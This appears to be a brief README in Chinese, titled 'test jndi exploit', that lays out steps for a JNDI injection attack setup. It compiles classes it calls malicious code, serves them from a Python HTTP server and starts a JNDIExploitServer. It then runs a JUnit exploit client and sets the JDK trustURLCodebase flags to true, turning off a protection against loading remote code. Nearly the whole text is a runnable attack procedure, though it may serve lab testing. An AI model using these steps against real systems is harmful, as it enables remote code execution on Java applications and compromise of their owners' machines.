test jndi exploit
1.启动python web服务
cd /home/webTest
#python2
python -m SimpleHTTPServer 8080
#python3
python -m http.server 8080
2.准备恶意代码环境
#编译恶意代码
javac ExploitObject.java
javac ExploitLocalObject.java
javac ExploitLinuxObject.java
#复制编译文件到web服务目录
cp ExploitObject.class /home/webTest
cp ExploitLocalObject.class /home/webTest
cp ExploitLinuxObject.class /home/webTest
3.启动恶意代码服务端
nohup java -cp jndi-exploit-1.0-SNAPSHOT-jar-with-dependencies.jar JNDIExploitServer &
4.运行JNDIExploitClient测试代码
java -cp ./jndi-exploit-1.0-SNAPSHOT-jar-with-dependencies.jar org.junit.runner.JUnitCore JNDIExploitClient --filter=testLocalExploit
5.配置信任远程代码
com.sun.jndi.cosnaming.object.trustURLCodebase=true
com.sun.jndi.rmi.object.trustURLCodebase=true